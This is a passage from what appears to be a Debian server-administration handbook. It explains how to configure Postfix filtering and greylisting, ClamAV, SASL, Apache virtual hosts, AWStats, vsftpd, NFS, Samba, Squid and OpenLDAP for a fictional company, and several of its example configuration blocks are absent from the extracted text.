A final advantage to this choice is that the rules can accumulate information during the various stages of the SMTP exchange; this allows defining more fine-grained permissions, such as rejecting a non-local connection if it announces itself with a local sender.
The validation and restriction system would not be complete without a way to apply checks to the message contents. Postfix differentiates the checks applying to the email headers from those applying to the email body.
Exemplu 11.11. Enabling content-based filters
Both files contain a list of regular expressions (commonly known as regexps or regexes) and associated actions to be triggered when the email headers (or body) match the expression.
QUICK LOOK Regexp tables
The
/usr/share/doc/postfix-doc/examples/header_checks.gz
file contains many explanatory comments and can be used as a starting point for creating the/etc/postfix/header_checks
and/etc/postfix/body_checks
files.
Exemplu 11.12. Example /etc/postfix/header_checks
file
BACK TO BASICS Regular expression
The regular expression term (shortened to regexp or regex) references a generic notation for expressing a description of the contents and/or structure of a string of characters. Certain special characters allow defining alternatives (for instance,
foo|bar
matches either “foo” or “bar”), sets of allowed characters (for instance,[0-9]
means any digit, and.
— a dot — means any character), quantifications (s?
matches eithers
or the empty string, in other words 0 or 1 occurrence ofs
;s+
matches one or more consecutives
characters; and so on). Parentheses allow grouping search results.The precise syntax of these expressions varies across the tools using them, but the basic features are similar.
The first one checks the header mentioning the email software; if GOTO Sarbacane
(a bulk email software) is found, the message is rejected. The second expression controls the message subject; if it mentions a virus notification, we can decide not to reject the message but to discard it immediately instead.
Using these filters is a double-edged sword, because it is easy to make the rules too generic and to lose legitimate emails as a consequence. In these cases, not only the messages will be lost, but their senders will get unwanted (and annoying) error messages.
“Greylisting” is a filtering technique according to which a message is initially rejected with a temporary error code, and only accepted on a further try after some delay. This filtering is particularly efficient against spam sent by the many machines infected by worms and viruses, since this software rarely acts as a full SMTP agent (by checking the error code and retrying failed messages later), especially since many of the harvested addresses are really invalid and retrying would only mean losing time.
Postfix doesn't provide greylisting natively, but there is a feature by which the decision to accept or reject a given message can be delegated to an external program. The postgrey package contains just such a program, designed to interface with this access policy delegation service.
Once postgrey is installed, it runs as a daemon and listens on port 10023. Postfix can then be configured to use it, by adding the check_policy_service
parameter as an extra restriction:
Each time Postfix reaches this rule in the ruleset, it will connect to the postgrey daemon and send it information concerning the relevant message. On its side, Postgrey considers the IP address/sender/recipient triplet and checks in its database whether that same triplet has been seen recently. If so, Postgrey replies that the message should be accepted; if not, the reply indicates that the message should be temporarily rejected, and the triplet gets recorded in the database.
The main disadvantage of greylisting is that legitimate messages get delayed, which is not always acceptable. It also increases the burden on servers that send many legitimate emails.
IN PRACTICE Shortcomings of greylisting
Theoretically, greylisting should only delay the first mail from a given sender to a given recipient, and the typical delay is in the order of minutes. Reality, however, can differ slightly. Some large ISPs use clusters of SMTP servers, and when a message is initially rejected, the server that retries the transmission may not be the same as the initial one. When that happens, the second server gets a temporary error message due to greylisting too, and so on; it may take several hours until transmission is attempted by a server that has already been involved, since SMTP servers usually increase the delay between retries at each failure.
As a consequence, the incoming IP address may vary in time even for a single sender. But it goes further: even the sender address can change. For instance, many mailing-list servers encode extra information in the sender address so as to be able to handle error messages (known as bounces). Each new message sent to a mailing-list may then need to go through greylisting, which means it has to be stored (temporarily) on the sender's server. For very large mailing-lists (with tens of thousands of subscribers), this can soon become a problem.
To mitigate these drawbacks, Postgrey manages a whitelist of such sites, and messages emanating from them are immediately accepted without going through greylisting. This list can easily be adapted to local needs, since it is stored in the
/etc/postgrey/whitelist_clients
file.
GOING FURTHER Selective greylisting with milter-greylist
The drawbacks of greylisting can be mitigated by only using greylisting on the subset of clients that are already considered as probable sources of spam (because they are listed in a DNS blacklist). This is not possible with postgrey but milter-greylist can be used in such a way.
In that scenario, since DNS blacklists never triggers a definitive rejection, it becomes reasonable to use aggressive blacklists, including those listing all dynamic IP addresses from ISP clients (such as
pbl.spamhaus.org
ordul.dnsbl.sorbs.net
).Since milter-greylist uses Sendmail's milter interface, the postfix side of its configuration is limited to “
smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock
”. The greylist.conf(5) manual page documents/etc/milter-greylist/greylist.conf
and the numerous ways to configure milter-greylist. You will also have to edit/etc/default/milter-greylist
to actually enable the service.
Secțiune 11.1.3, „Restrictions for Receiving and Sending” and Secțiune 11.1.4, „Setting Up greylisting” reviewed many of the possible restrictions. They all have their use in limiting the amount of received spam, but they also all have their drawbacks. It is therefore more and more common to customize the set of filters depending on the recipient. At Falcot Corp, greylisting is interesting for most users, but it hinders the work of some users who need low latency in their emails (such as the technical support service). Similarly, the commercial service sometimes has problems receiving emails from some Asian providers who may be listed in blacklists; this service asked for a non-filtered address so as to be able to correspond.
Postfix provides such a customization of filters with a “restriction class” concept. The classes are declared in the smtpd_restriction_classes
parameter, and defined the same way as smtpd_recipient_restrictions
. The check_recipient_access
directive then defines a table mapping a given recipient to the appropriate set of restrictions.
Exemplu 11.13. Defining restriction classes in main.cf
Exemplu 11.14. The /etc/postfix/recipient_access
file
The many viruses circulating as attachments to emails make it important to set up an antivirus at the entry point of the company network, since despite an awareness campaign, some users will still open attachments from obviously shady messages.
The Falcot administrators selected clamav for their free antivirus. The main package is clamav, but they also installed a few extra packages such as arj, unzoo, unrar and lha, since they are required for the antivirus to analyze attachments archived in one of these formats.
The task of interfacing between antivirus and the email server goes to clamav-milter. A milter (short for mail filter) is a filtering program specially designed to interface with email servers. A milter uses a standard application programming interface (API) that provides much better performance than filters external to the email servers. Milters were initially introduced by Sendmail, but Postfix soon followed suit.
QUICK LOOK A milter for Spamassassin
The spamass-milter package provides a milter based on SpamAssassin, the famous unsolicited email detector. It can be used to flag messages as probable spams (by adding an extra header) and/or to reject the messages altogether if their “spamminess” score goes beyond a given threshold.
Once the clamav-milter package is installed, the milter should be reconfigured to run on a TCP port rather than on the default named socket. This can be achieved with dpkg-reconfigure clamav-milter. When prompted for the “Communication interface with Sendmail”, answer “inet:10002@127.0.0.1
”.
NOTE Real TCP port vs named socket
The reason why we use a real TCP port rather than the named socket is that the postfix daemons often run chrooted and do not have access to the directory hosting the named socket. You could also decide to keep using a named socket and pick a location within the chroot (
/var/spool/postfix/
).
The standard ClamAV configuration fits most situations, but some important parameters can still be customized with dpkg-reconfigure clamav-base.
The last step involves telling Postfix to use the recently-configured filter. This is a simple matter of adding the following directive to /etc/postfix/main.cf
:
If the antivirus causes problems, this line can be commented out, and service postfix reload should be run so that this change is taken into account.
IN PRACTICE Testing the antivirus
Once the antivirus is set up, its correct behavior should be tested. The simplest way to do that is to send a test email with an attachment containing the
eicar.com
(oreicar.com.zip
) file, which can be downloaded online:
This file is not a true virus, but a test file that all antivirus software on the market diagnose as a virus to allow checking installations.
All messages handled by Postfix now go through the antivirus filter.
Being able to send emails requires an SMTP server to be reachable; it also requires said SMTP server to send emails through it. For roaming users, this may need regularly changing the configuration of the SMTP client, since Falcot's SMTP server rejects messages coming from IP addresses apparently not belonging to the company. Two solutions exist: either the roaming user installs an SMTP server on their computer, or they still use the company server with some means of authenticating as an employee. The former solution is not recommended since the computer won't be permanently connected, and it won't be able to retry sending messages in case of problems; we will focus on the latter solution.
SMTP authentication in Postfix relies on SASL (Simple Authentication and Security Layer). It requires installing the libsasl2-modules and sasl2-bin packages, then registering a password in the SASL database for each user that needs authenticating on the SMTP server. This is done with the saslpasswd2 command, which takes several parameters. The -u
option defines the authentication domain, which must match the smtpd_sasl_local_domain
parameter in the Postfix configuration. The -c
option allows creating a user, and -f
allows specifying the file to use if the SASL database needs to be stored at a different location than the default (/etc/sasldb2
).
#
saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean
[... type jean's password twice ...]
Note that the SASL database was created in Postfix's directory. In order to ensure consistency, we also turn /etc/sasldb2
into a symbolic link pointing at the database used by Postfix, with the ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2 command.
Now we need to configure Postfix to use SASL. First the postfix
user needs to be added to the sasl
group, so that it can access the SASL account database. A few new parameters are also needed to enable SASL, and the smtpd_recipient_restrictions
parameter needs to be configured to allow SASL-authenticated clients to send emails freely.
Exemplu 11.15. Enabling SASL in /etc/postfix/main.cf
EXTRA Authenticated SMTP client
Most email clients are able to authenticate to an SMTP server before sending outgoing messages, and using that feature is a simple matter of configuring the appropriate parameters. If the client in use does not provide that feature, the workaround is to use a local Postfix server and configure it to relay email via the remote SMTP server. In this case, the local Postfix itself will be the client that authenticates with SASL. Here are the required parameters:
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
relay_host = [mail.falcot.com]The
/etc/postfix/sasl_passwd
file needs to contain the username and password to use for authenticating on themail.falcot.com
server. Here is an example:
[mail.falcot.com] joe:LyinIsjiAs for all Postfix maps, this file must be turned into
/etc/postfix/sasl_passwd.db
with the postmap command.
The Falcot Corp administrators decided to use the Apache HTTP server, included in Debian Jessie at version 2.4.10.
ALTERNATIVE Other web servers
Apache is merely the most widely-known (and widely-used) web server, but there are others; they can offer better performance under certain workloads, but this has its counterpart in the smaller number of available features and modules. However, when the prospective web server is built to serve static files or to act as a proxy, the alternatives, such as nginx and lighttpd, are worth investigating.
Installing the apache2 package is all that is needed. It contains all the modules, including the Multi-Processing Modules (MPMs) that affect how Apache handles parallel processing of many requests (those used to be provided in separate apache2-mpm-* packages). It will also pull apache2-utils containing the command line utilities that we will discover later.
The MPM in use affects significantly the way Apache will handle concurrent requests. With the worker MPM, it uses threads (lightweight processes), whereas with the prefork MPM it uses a pool of processes created in advance. With the event MPM it also uses threads, but the inactive connections (notably those kept open by the HTTP keep-alive feature) are handed back to a dedicated management thread.
The Falcot administrators also install libapache2-mod-php5 so as to include the PHP support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead, since PHP only works under that particular MPM.
SECURITY Execution under the
www-data
userBy default, Apache handles incoming requests under the identity of the
www-data
user. This means that a security vulnerability in a CGI script executed by Apache (for a dynamic page) won't compromise the whole system, but only the files owned by this particular user.Using the suexec modules allows bypassing this rule so that some CGI scripts are executed under the identity of another user. This is configured with a
SuexecUserGroup
directive in the Apache configuration.user
group
Another possibility is to use a dedicated MPM, such as the one provided by libapache2-mpm-itk. This particular one has a slightly different behavior: it allows “isolating” virtual hosts (actually, sets of pages) so that they each run as a different user. A vulnerability in one website therefore cannot compromise files belonging to the owner of another website.
QUICK LOOK List of modules
The full list of Apache standard modules can be found online.
Apache is a modular server, and many features are implemented by external modules that the main program loads during its initialization. The default configuration only enables the most common modules, but enabling new modules is a simple matter of running a2enmod module
; to disable a module, the command is a2dismod module
. These programs actually only create (or delete) symbolic links in /etc/apache2/mods-enabled/
, pointing at the actual files (stored in /etc/apache2/mods-available/
).
With its default configuration, the web server listens on port 80 (as configured in /etc/apache2/ports.conf
), and serves pages from the /var/www/html/
directory (as configured in /etc/apache2/sites-enabled/000-default.conf
).
GOING FURTHER Adding support for SSL
Apache 2.4 includes the SSL module required for secure HTTP (HTTPS) out of the box. It just needs to be enabled with a2enmod ssl, then the required directives have to be added to the configuration files. A configuration example is provided in
/etc/apache2/sites-available/default-ssl.conf
.
Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromission of the server's secret key does not result in the compromission of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommandations in particular:
A virtual host is an extra identity for the web server.
Apache considers two different kinds of virtual hosts: those that are based on the IP address (or the port), and those that rely on the domain name of the web server. The first method requires allocating a different IP address (or port) for each site, whereas the second one can work on a single IP address (and port), and the sites are differentiated by the hostname sent by the HTTP client (which only works in version 1.1 of the HTTP protocol — fortunately that version is old enough that all clients use it already).
The (increasing) scarcity of IPv4 addresses usually favors the second method; however, it is made more complex if the virtual hosts need to provide HTTPS too, since the SSL protocol hasn't always provided for name-based virtual hosting; the SNI extension (Server Name Indication) that allows such a combination is not handled by all browsers. When several HTTPS sites need to run on the same server, they will usually be differentiated either by running on a different port or on a different IP address (IPv6 can help there).
The default configuration for Apache 2 enables name-based virtual hosts. In addition, a default virtual host is defined in the /etc/apache2/sites-enabled/000-default.conf
file; this virtual host will be used if no host matching the request sent by the client is found.
CAUTION First virtual host
Requests concerning unknown virtual hosts will always be served by the first defined virtual host, which is why we defined
www.falcot.com
first here.
QUICK LOOK Apache supports SNI
The Apache server supports an SSL protocol extension called Server Name Indication (SNI). This extension allows the browser to send the hostname of the web server during the establishment of the SSL connection, much earlier than the HTTP request itself, which was previously used to identify the requested virtual host among those hosted on the same server (with the same IP address and port). This allows Apache to select the most appropriate SSL certificate for the transaction to proceed.
Before SNI, Apache would always use the certificate defined in the default virtual host. Clients trying to access another virtual host would then display warnings, since the certificate they received didn't match the website they were trying to access. Fortunately, most browsers now work with SNI; this includes Microsoft Internet Explorer starting with version 7.0 (starting on Vista), Mozilla Firefox starting with version 2.0, Apple Safari since version 3.2.1, and all versions of Google Chrome.
The Apache package provided in Debian is built with support for SNI; no particular configuration is therefore needed.
Care should also be taken to ensure that the configuration for the first virtual host (the one used by default) does enable TLSv1, since Apache uses the parameters of this first virtual host to establish secure connections, and they had better allow them!
Each extra virtual host is then described by a file stored in /etc/apache2/sites-available/
. Setting up a website for the falcot.org
domain is therefore a simple matter of creating the following file, then enabling the virtual host with a2ensite www.falcot.org.
Exemplu 11.16. The /etc/apache2/sites-available/www.falcot.org.conf
file
The Apache server, as configured so far, uses the same log files for all virtual hosts (although this could be changed by adding CustomLog
directives in the definitions of the virtual hosts). It therefore makes good sense to customize the format of this log file to have it include the name of the virtual host. This can be done by creating a /etc/apache2/conf-available/customlog.conf
file that defines a new format for all log files (with the LogFormat
directive) and by enabling it with a2enconf customlog. The CustomLog
line must also be removed (or commented out) from the /etc/apache2/sites-available/000-default.conf
file.
Exemplu 11.17. The /etc/apache2/conf.d/customlog.conf
file
This section briefly reviews some of the commonly-used Apache configuration directives.
The main configuration file usually includes several Directory
blocks; they allow specifying different behaviors for the server depending on the location of the file being served. Such a block commonly includes Options
and AllowOverride
directives.
Exemplu 11.18. Directory block
The DirectoryIndex
directive contains a list of files to try when the client request matches a directory. The first existing file in the list is used and sent as a response.
The Options
directive is followed by a list of options to enable. The None
value disables all options; correspondingly, All
enables them all except MultiViews
. Available options include:
ExecCGI
indicates that CGI scripts can be executed. FollowSymlinks
tells the server that symbolic links can be followed, and that the response should contain the contents of the target of such links. SymlinksIfOwnerMatch
also tells the server to follow symbolic links, but only when the link and the its target have the same owner. Includes
enables Server Side Includes (SSI for short). These are directives embedded in HTML pages and executed on the fly for each request. Indexes
tells the server to list the contents of a directory if the HTTP request sent by the client points at a directory without an index file (ie, when no files mentioned by the DirectoryIndex
directive exists in this directory). MultiViews
enables content negotiation; this can be used by the server to return a web page matching the preferred language as configured in the browser.
BACK TO BASICS
.htaccess
fileThe
.htaccess
file contains Apache configuration directives enforced each time a request concerns an element of the directory where it is stored. The scope of these directives also recurses to all the subdirectories within.Most of the directives that can occur in a
Directory
block are also legal in a.htaccess
file.
The AllowOverride
directive lists all the options that can be enabled or disabled by way of a .htaccess
file. A common use of this option is to restrict ExecCGI
, so that the administrator chooses which users are allowed to run programs under the web server's identity (the www-data
user).
In some circumstances, access to part of a website needs to be restricted, so only legitimate users who provide a username and a password are granted access to the contents.
Exemplu 11.19. .htaccess
file requiring authentication
SECURITY No security
The authentication system used in the above example (
Basic
) has minimal security as the password is sent in clear text (it is only encoded as base64, which is a simple encoding rather than an encryption method). It should also be noted that the documents “protected” by this mechanism also go over the network in the clear. If security is important, the whole HTTP connection should be encrypted with SSL.
The /etc/apache2/authfiles/htpasswd-private
file contains a list of users and passwords; it is commonly manipulated with the htpasswd command. For example, the following command is used to add a user or change their password:
#
htpasswd /etc/apache2/authfiles/htpasswd-private user
New password:
Re-type new password:
Adding password for user user
The Require
directive controls access restrictions for a directory (and its subdirectories, recursively).
It can be used to restrict access based on many criteria; we will stop at describing access restriction based on the IP address of the client, but it can be made much more powerful than that, especially when several Require
directives are combined within a RequireAll
block.
Exemplu 11.20. Only allow from the local network
ALTERNATIVE Old syntax
The
Require
syntax is only available in Apache 2.4 (the version in Jessie). For users of Wheezy, the Apache 2.2 syntax is different, and we describe it here mainly for reference, although it can also be made available in Apache 2.4 using themod_access_compat
module.The
Allow from
andDeny from
directives control access restrictions for a directory (and its subdirectories, recursively).The
Order
directive tells the server of the order in which theAllow from
andDeny from
directives are applied; the last one that matches takes precedence. In concrete terms,Order deny,allow
allows access if noDeny from
applies, or if anAllow from
directive does. Conversely,Order allow,deny
rejects access if noAllow from
directive matches (or if aDeny from
directive applies).The
Allow from
andDeny from
directives can be followed by an IP address, a network (such as192.168.0.0/255.255.255.0
,192.168.0.0/24
or even192.168.0
), a hostname or a domain name, or theall
keyword, designating everyone.For instance, to reject connections by default but allow them from the local network, you could use this:
Order deny,allow
Allow from 192.168.0.0/16
Deny from all
A log analyzer is frequently installed on a web server; since the former provides the administrators with a precise idea of the usage patterns of the latter.
The Falcot Corp administrators selected AWStats (Advanced Web Statistics) to analyze their Apache log files.
The first configuration step is the customization of the /etc/awstats/awstats.conf
file. The Falcot administrators keep it unchanged apart from the following parameters:
All these parameters are documented by comments in the template file. In particular, the LogFile
and LogFormat
parameters describe the location and format of the log file and the information it contains; SiteDomain
and HostAliases
list the various names under which the main web site is known.
For high traffic sites, DNSLookup
should usually not be set to 1
; for smaller sites, such as the Falcot one described above, this setting allows getting more readable reports that include full machine names instead of raw IP addresses.
SECURITY Access to statistics
AWStats makes its statistics available on the website with no restrictions by default, but restrictions can be set up so that only a few (probably internal) IP addresses can access them; the list of allowed IP addresses needs to be defined in the
AllowAccessFromWebToFollowingIPAddresses
parameter
AWStats will also be enabled for other virtual hosts; each virtual host needs its own configuration file, such as /etc/awstats/awstats.www.falcot.org.conf
.
Exemplu 11.21. AWStats configuration file for a virtual host
AWStats uses many icons stored in the /usr/share/awstats/icon/
directory. In order for these icons to be available on the web site, the Apache configuration needs to be adapted to include the following directive:
After a few minutes (and once the script has been run a few times), the results are available online:
CAUTION Log file rotation
In order for the statistics to take all the logs into account, AWStats needs to be run right before the Apache log files are rotated. Looking at the
prerotate
directive of/etc/logrotate.d/apache2
file, this can be solved by putting a symlink to/usr/share/awstats/tools/update.sh
in/etc/logrotate.d/httpd-prerotate
:$
cat /etc/logrotate.d/apache2
/var/log/apache2/*.log {
daily
missingok
rotate 14
compress
delaycompress
notifempty
create 644 root adm
sharedscripts
postrotate
if /etc/init.d/apache2 status > /dev/null ; then \
/etc/init.d/apache2 reload > /dev/null; \
fi;
endscript
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
run-parts /etc/logrotate.d/httpd-prerotate; \
fi; \
endscript
}
$sudo mkdir -p /etc/logrotate.d/httpd-prerotate
$
sudo ln -sf /usr/share/awstats/tools/update.sh \
/etc/logrotate.d/httpd-prerotate/awstatsNote also that the log files created by logrotate need to be readable by everyone, especially AWStats. In the above example, this is ensured by the
create 644 root adm
line (instead of the default640
permissions).
FTP (File Transfer Protocol) is one of the first protocols of the Internet (RFC 959 was issued in 1985!). It was used to distribute files before the Web was even born (the HTTP protocol was created in 1990, and formally defined in its 1.0 version by RFC 1945, issued in 1996).
This protocol allows both file uploads and file downloads; for this reason, it is still widely used to deploy updates to a website hosted by one's Internet service provider (or any other entity hosting websites). In these cases, secure access is enforced with a user identifier and password; on successful authentication, the FTP server grants read-write access to that user's home directory.
Other FTP servers are mainly used to distribute files for public downloading; Debian packages are a good example. The contents of these servers is fetched from other, geographically remote, servers; it is then made available to less distant users. This means that client authentication is not required; as a consequence, this operating mode is known as “anonymous FTP”. To be perfectly correct, the clients do authenticate with the anonymous
username; the password is often, by convention, the user's email address, but the server ignores it.
Many FTP servers are available in Debian (ftpd, proftpd-basic, pyftpd and so on). The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.
Installing the package creates an ftp
system user. This account is always used for anonymous FTP connections, and its home directory (/srv/ftp/
) is the root of the tree made available to users connecting to this service. The default configuration (in /etc/vsftpd.conf
) requires some changes to cater to the simple need of making big files available for public downloads: anonymous access needs to be enabled (anonymous_enable=YES
) and read-only access of local users needs to be disabled (local_enable=NO
). The latter is particularly important since the FTP protocol doesn't use any form of encryption and the user password could be intercepted over the wire.
NFS (Network File System) is a protocol allowing remote access to a filesystem through the network. All Unix systems can work with this protocol; when Windows systems are involved, Samba must be used instead.
NFS is a very useful tool but, historically, it has suffered from many limitations, most of which have been addressed with version 4 of the protocol. The downside is that the latest version of NFS is harder to configure when you want to make use of basic security features such as authentication and encryption since it relies on Kerberos for those parts. And without those, the NFS protocol must be restricted to a trusted local network since data goes over the network unencrypted (a sniffer can intercept it) and access rights are granted based on the client's IP address (which can be spoofed).
DOCUMENTATION NFS HOWTO
Good documentation to deploy NFSv4 is rather scarce. Here are some pointers with content of varying quality but that should at least give some hints on what should be done.
If you don't use the Kerberos-based security features, it is vital to ensure that only the machines allowed to use NFS can connect to the various required RPC servers, because the basic protocol trusts the data received from the network. The firewall must also block IP spoofing so as to prevent an outside machine from acting as an inside one, and access to the appropriate ports must be restricted to the machines meant to access the NFS shares.
BACK TO BASICS RPC
RPC (Remote Procedure Call) is a Unix standard for remote services. NFS is one such service.
RPC services register to a directory known as the portmapper. A client wishing to perform an NFS query first addresses the portmapper (on port 111, either TCP or UDP), and asks for the NFS server; the reply usually mentions port 2049 (the default for NFS). Not all RPC services necessarily use a fixed port.
Older versions of the protocol required other RPC services which used dynamically assigned ports. Fortunately, with NFS version 4, only port 2049 (for NFS) and 111 (for the portmapper) are needed and they are thus easy to firewall.
The NFS server is part of the Linux kernel; in kernels provided by Debian it is built as a kernel module. If the NFS server is to be run automatically on boot, the nfs-kernel-server package should be installed; it contains the relevant start-up scripts.
The NFS server configuration file, /etc/exports
, lists the directories that are made available over the network (exported). For each NFS share, only the given list of machines is granted access. More fine-grained access control can be obtained with a few options. The syntax for this file is quite simple:
Note that with NFSv4, all exported directories must be part of a single hierarchy and that the root directory of that hierarchy must be exported and identified with the option fsid=0
or fsid=root
.
Each machine can be identified either by its DNS name or its IP address. Whole sets of machines can also be specified using either a syntax such as *.falcot.com
or an IP address range such as 192.168.0.0/255.255.255.0
or 192.168.0.0/24
.
Directories are made available as read-only by default (or with the ro
option). The rw
option allows read-write access. NFS clients typically connect from a port restricted to root (in other words, below 1024); this restriction can be lifted by the insecure
option (the secure
option is implicit, but it can be made explicit if needed for clarity).
By default, the server only answers an NFS query when the current disk operation is complete (sync
option); this can be disabled with the async
option. Asynchronous writes increase performance a bit, but they decrease reliability since there is a data loss risk in case of the server crashing between the acknowledgment of the write and the actual write on disk. Since the default value changed recently (as compared to the historical value of NFS), an explicit setting is recommended.
In order to not give root access to the filesystem to any NFS client, all queries appearing to come from a root user are considered by the server as coming from the nobody
user. This behavior corresponds to the root_squash
option, and is enabled by default. The no_root_squash
option, which disables this behavior, is risky and should only be used in controlled environments. The anonuid=
and uid
anongid=
options allow specifying another fake user to be used instead of UID/GID 65534 (which corresponds to user gid
nobody
and group nogroup
).
With NFSv4, you can add a sec
option to indicate the security level that you want: sec=sys
is the default with no special security features, sec=krb5
enables authentication only, sec=krb5i
adds integrity protection, and sec=krb5p
is the most complete level which includes privacy protection (with data encryption). For this to work you need a working Kerberos setup (that service is not covered by this book).
Other options are available; they are documented in the exports(5) manual page.
CAUTION First installation
The
/etc/init.d/nfs-kernel-server
boot script only starts the server if the/etc/exports
lists one or more valid NFS shares. On initial configuration, once this file has been edited to contain valid entries, the NFS server must therefore be started with the following command:#
service nfs-kernel-server start
As with other filesystems, integrating an NFS share into the system hierarchy requires mounting. Since this filesystem has its peculiarities, a few adjustments were required in the syntaxes of the mount command and the /etc/fstab
file.
Exemplu 11.22. Manually mounting with the mount command
#
mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared
Exemplu 11.23. NFS entry in the /etc/fstab
file
The entry described above mounts, at system startup, the /shared/
NFS directory from the arrakis
server into the local /srv/shared/
directory. Read-write access is requested (hence the rw
parameter). The nosuid
option is a protection measure that wipes any setuid
or setgid
bit from programs stored on the share. If the NFS share is only meant to store documents, another recommended option is noexec
, which prevents executing programs stored on the share. Note that on the server, the shared
directory is below the NFSv4 root export (for example /export/shared
), it is not a top-level directory.
The nfs(5) manual page describes all the options in some detail.
Samba is a suite of tools handling the SMB protocol (also known as “CIFS”) on Linux. This protocol is used by Windows for network shares and shared printers.
Samba can also act as an Windows domain controller. This is an outstanding tool for ensuring seamless integration of Linux servers and the office desktop machines still running Windows.
The samba package contains the main two servers of Samba 4, smbd and nmbd.
DOCUMENTATION Going further
The Samba server is extremely configurable and versatile, and can address a great many different use cases matching very different requirements and network architectures. This book only focuses on the use case where Samba is used as a standalone server, but it can also be a NT4 Domain Controller or a full Active Directory Domain Controller, or a simple member of an existing domain (which could be a managed by a Windows server).
The samba-doc package contains a wealth of commented example files in
/usr/share/doc/samba-doc/examples/
.
TOOL Authenticating with a Windows Server
Winbind gives system administrators the option of using a Windows server as an authentication server. Winbind also integrates cleanly with PAM and NSS. This allows setting up Linux machines where all users of a Windows domain automatically get an account.
More information can be found in the
/usr/share/doc/samba-doc/examples/pam_winbind/
directory.
The package sets up a minimal configuration during the initial installation but you should really run dpkg-reconfigure samba-common to adapt it:
The first piece of required information is the name of the workgroup where the Samba server will belong (the answer is FALCOTNET
in our case).
The package also proposes identifying the WINS server from the information provided by the DHCP daemon. The Falcot Corp administrators rejected this option, since they intend to use the Samba server itself as the WINS server.
The requirements at Falcot require other options to be modified in the /etc/samba/smb.conf
configuration file. The following excerpts summarize the changes that were effected in the [global]
section.
Each Samba user needs an account on the server; the Unix accounts must be created first, then the user needs to be registered in Samba's database. The Unix step is done quite normally (using adduser for instance).
Adding an existing user to the Samba database is a matter of running the smbpasswd -a user
command; this command asks for the password interactively.
A user can be deleted with the smbpasswd -x user
command. A Samba account can also be temporarily disabled (with smbpasswd -d user
) and re-enabled later (with smbpasswd -e user
).
The client features in Samba allow a Linux machine to access Windows shares and shared printers. The required programs are available in the cifs-utils and smbclient packages.
The smbclient program queries SMB servers. It accepts a -U
option, for connecting to the server under a specific identity. smbclient //user
server
/share
accesses the share in an interactive way similar to the command-line FTP client. smbclient -L server
lists all available (and visible) shares on a server.
The mount command allows mounting a Windows share into the Linux filesystem hierarchy (with the help of mount.cifs provided by cifs-utils).
Exemplu 11.24. Mounting a Windows share
The /etc/smb-credentials
file (which must not be readable by users) has the following format:
user
password
Other options can be specified on the command-line; their full list is available in the mount.cifs(1) manual page. Two options in particular can be interesting: uid
and gid
allow forcing the owner and group of files available on the mount, so as not to restrict access to root.
A mount of a Windows share can also be configured in /etc/fstab
:
server
/shared /shared cifs credentials=/etc/smb-credentialsUnmounting a SMB/CIFS share is done with the standard umount command.
CUPS is an elegant solution for printing from a Linux workstation to a printer shared by a Windows machine. When the smbclient is installed, CUPS allows installing Windows shared printers automatically.
Here are the required steps:
http://localhost:631/admin
smb://
. user
:password
@server
/printer
Voilà, the printer is operational!
An HTTP/FTP proxy acts as an intermediary for HTTP and/or FTP connections. Its role is twofold:
Falcot Corp selected Squid as their proxy server.
The squid3 Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.
Prior to installing, care should be taken to check that the system can identify its own complete name: the hostname -f must return a fully-qualified name (including a domain). If it does not, then the /etc/hosts
file should be edited to contain the full name of the system (for instance, arrakis.falcot.com
). The official computer name should be validated with the network administrator in order to avoid potential name conflicts.
Enabling the caching server feature is a simple matter of editing the /etc/squid3/squid.conf
configuration file and allowing machines from the local network to run queries through the proxy. The following example shows the modifications made by the Falcot Corp administrators:
Exemplu 11.25. The /etc/squid3/squid.conf
file (excerpts)
squid itself does not perform the filtering; this action is delegated to squidGuard. The former must then be configured to interact with the latter. This involves adding the following directive to the /etc/squid3/squid.conf
file:
The /usr/lib/cgi-bin/squidGuard.cgi
CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi.gz
as a starting point. Required modifications to this script are the $proxy
and $proxymaster
variables (the name of the proxy and the administrator's contact e-mail, respectively). The $image
and $redirect
variables should point to existing images representing the rejection of a query.
The filter is enabled with the service squid3 reload command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid3/squidGuard.conf
file (using /etc/squidguard/squidGuard.conf.default
as template if required).
The working database must be regenerated with update-squidguard after each change of the squidGuard configuration file (or one of the lists of domains or URLs it mentions). The configuration file syntax is documented on the following website:
ALTERNATIVE DansGuardian
The dansguardian package is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, but it can take advantage of the PICS system (Platform for Internet Content Selection) to decide whether a page is acceptable by dynamic analysis of its contents.
OpenLDAP is an implementation of the LDAP protocol; in other words, it is a special-purpose database designed for storing directories. In the most common use case, using an LDAP server allows centralizing management of user accounts and the related permissions. Moreover, an LDAP database is easily replicated, which allows setting up multiple synchronized LDAP servers. When the network and the user base grows quickly, the load can then be balanced across several servers.
LDAP data is structured and hierarchical. The structure is defined by “schemas” which describe the kind of objects that the database can store, with a list of all their possible attributes. The syntax used to refer to a particular object in the database is based on this structure, which explains its complexity.
The slapd package contains the OpenLDAP server. The ldap-utils package includes command-line tools for interacting with LDAP servers.
Installing slapd usually asks very few questions and the resulting database is unlikely to suit your needs. Fortunately a simple dpkg-reconfigure slapd will let you reconfigure the LDAP database with more details:
falcot.com
”. BACK TO BASICS LDIF format
An LDIF file (LDAP Data Interchange Format) is a portable text file describing the contents of an LDAP database (or a portion thereof); this can then be used to inject the data into any other LDAP server.
A minimal database is now configured, as demonstrated by the following query:
$
ldapsearch -x -b dc=falcot,dc=com
# extended LDIF
#
# LDAPv3
# base <dc=falcot,dc=com> with scope sub
# filter: (objectclass=*)
# requesting: ALL
#
# falcot.com
dn: dc=falcot,dc=com
objectClass: top
